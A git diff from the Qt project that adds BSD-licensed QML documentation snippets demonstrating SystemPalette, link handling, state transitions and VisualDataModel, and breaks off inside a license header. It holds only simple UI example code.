b/src/qml/doc/snippets/qml/systempalette.qml new file mode 100644 index 0000000000..4cb42dee93 --- /dev/null +++ b/src/qml/doc/snippets/qml/systempalette.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + SystemPalette { id: myPalette; colorGroup: SystemPalette.Active } + + width: 640; height: 480 + color: myPalette.window + + Text { + anchors.fill: parent + text: "Hello!"; color: myPalette.windowText + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/text/onLinkActivated.qml b/src/qml/doc/snippets/qml/text/onLinkActivated.qml new file mode 100644 index 0000000000..03641d989e --- /dev/null +++ b/src/qml/doc/snippets/qml/text/onLinkActivated.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the QtQml module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.0 + +Rectangle { + width: 700; height: 400 + +//![0] + Text { + textFormat: Text.RichText + text: "The main website is at <a href=\"http://qt.nokia.com\">Nokia Qt DF</a>." + onLinkActivated: console.log(link + " link activated") + } +//![0] + +} + diff --git a/src/qml/doc/snippets/qml/transition-from-to-modified.qml b/src/qml/doc/snippets/qml/transition-from-to-modified.qml new file mode 100644 index 0000000000..184e95afe2 --- /dev/null +++ b/src/qml/doc/snippets/qml/transition-from-to-modified.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + //! [modified transition] + transitions: Transition { + to: "brighter" + ColorAnimation { duration: 1000 } + } + //! [modified transition] +} diff --git a/src/qml/doc/snippets/qml/transition-from-to.qml b/src/qml/doc/snippets/qml/transition-from-to.qml new file mode 100644 index 0000000000..c876f5cb9c --- /dev/null +++ b/src/qml/doc/snippets/qml/transition-from-to.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.0 + +//![0] +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + transitions: Transition { + ColorAnimation { duration: 1000 } + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/transition-reversible.qml b/src/qml/doc/snippets/qml/transition-reversible.qml new file mode 100644 index 0000000000..4f7ae83468 --- /dev/null +++ b/src/qml/doc/snippets/qml/transition-reversible.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.0 + +//![0] +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter" + when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow"; x: 50 } + } + + //! [sequential animations] + transitions: Transition { + SequentialAnimation { + PropertyAnimation { property: "x"; duration: 1000 } + ColorAnimation { duration: 1000 } + } + } + //! [sequential animations] +} +//![0] + diff --git a/src/qml/doc/snippets/qml/transition.qml b/src/qml/doc/snippets/qml/transition.qml new file mode 100644 index 0000000000..614c5d364f --- /dev/null +++ b/src/qml/doc/snippets/qml/transition.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { + id: mouseArea + anchors.fill: parent + } + + states: State { + name: "moved"; when: mouseArea.pressed + PropertyChanges { target: rect; x: 50; y: 50 } + } + + transitions: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } + } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/transitions-list.qml b/src/qml/doc/snippets/qml/transitions-list.qml new file mode 100644 index 0000000000..f2ba768559 --- /dev/null +++ b/src/qml/doc/snippets/qml/transitions-list.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Rectangle { + width: 150; height: 250 + + Rectangle { + id: stopLight + x: 25; y: 15; width: 100; height: 100 + } + Rectangle { + id: goLight + x: 25; y: 135; width: 100; height: 100 + } + + states: [ + State { + name: "stop" + PropertyChanges { target: stopLight; color: "red" } + PropertyChanges { target: goLight; color: "black" } + }, + State { + name: "go" + PropertyChanges { target: stopLight; color: "black" } + PropertyChanges { target: goLight; color: "green" } + } + ] + + state: "stop" + + MouseArea { + anchors.fill: parent + onClicked: parent.state == "stop" ? + parent.state = "go" : parent.state = "stop" + } + + //! [list of transitions] + transitions: [ + Transition { + from: "stop"; to: "go" + PropertyAnimation { target: stopLight + properties: "color"; duration: 1000 } + }, + Transition { + from: "go"; to: "stop" + PropertyAnimation { target: goLight + properties: "color"; duration: 1000 } + } ] + //! [list of transitions] +} diff --git a/src/qml/doc/snippets/qml/visualdatagroup.qml b/src/qml/doc/snippets/qml/visualdatagroup.qml new file mode 100644 index 0000000000..46ac9a3d7a --- /dev/null +++ b/src/qml/doc/snippets/qml/visualdatagroup.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + width: 200; height: 100 + + VisualDataModel { + id: visualModel + model: ListModel { + ListElement { name: "Apple" } + ListElement { name: "Orange" } + } + + groups: [ + VisualDataGroup { name: "selected" } + ] + + delegate: Rectangle { + id: item + height: 25 + width: 200 + Text { + text: { + var text = "Name: " + name + if (item.VisualDataModel.inSelected) + text += " (" + item.VisualDataModel.selectedIndex + ")" + return text; + } + } + MouseArea { + anchors.fill: parent + onClicked: item.VisualDataModel.inSelected = !item.VisualDataModel.inSelected + } + } + } + + ListView { + anchors.fill: parent + model: visualModel + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/visualdatamodel.qml b/src/qml/doc/snippets/qml/visualdatamodel.qml new file mode 100644 index 0000000000..87b836e224 --- /dev/null +++ b/src/qml/doc/snippets/qml/visualdatamodel.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + width: 200; height: 100 + + VisualDataModel { + id: visualModel + model: ListModel { + ListElement { name: "Apple" } + ListElement { name: "Orange" } + } + delegate: Rectangle { + height: 25 + width: 100 + Text { text: "Name: " + name} + } + } + + ListView { + anchors.fill: parent + model: visualModel + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/visualdatamodel_rootindex/main.cpp b/src/qml/doc/snippets/qml/visualdatamodel_rootindex/main.cpp new file mode 100644 index 0000000000..4468d06db4 --- /dev/null +++ b/src/qml/doc/snippets/qml/visualdatamodel_rootindex/main.cpp @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the QtQml module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +#include <QQuickView> +#include <QQmlContext> + +#include <QApplication> +#include <QDirModel> + +//![0] +int main(int argc, char ** argv) +{ + QApplication app(argc, argv); + + QQuickView view; + + QDirModel model; + view.rootContext()->setContextProperty("dirModel", &model); + + view.setSource(QUrl::fromLocalFile("view.qml")); + view.show(); + + return app.exec(); +} +//![0] + diff --git a/src/qml/doc/snippets/qml/visualdatamodel_rootindex/view.qml b/src/qml/doc/snippets/qml/visualdatamodel_rootindex/view.qml new file mode 100644 index 0000000000..24d6b47f8d --- /dev/null +++ b/src/qml/doc/snippets/qml/visualdatamodel_rootindex/view.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +ListView { + id: view + width: 300 + height: 400 + + model: VisualDataModel { + model: dirModel + + delegate: Rectangle { + width: 200; height: 25 + Text { text: filePath } + + MouseArea { + anchors.fill: parent + onClicked: { + if (model.hasModelChildren) + view.model.rootIndex = view.model.modelIndex(index) + } + } + } + } +} +//![0] diff --git a/doc/src/snippets/qml/workerscript.qml b/src/qml/doc/snippets/qml/workerscript.qml index 6af6b47766..6af6b47766 100644 --- a/doc/src/snippets/qml/workerscript.qml +++ b/src/qml/doc/snippets/qml/workerscript.qml diff --git a/src/qml/doc/snippets/qml/xmlrole.qml b/src/qml/doc/snippets/qml/xmlrole.qml new file mode 100644 index 0000000000..34868fb76d --- /dev/null +++ b/src/qml/doc/snippets/qml/xmlrole.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE 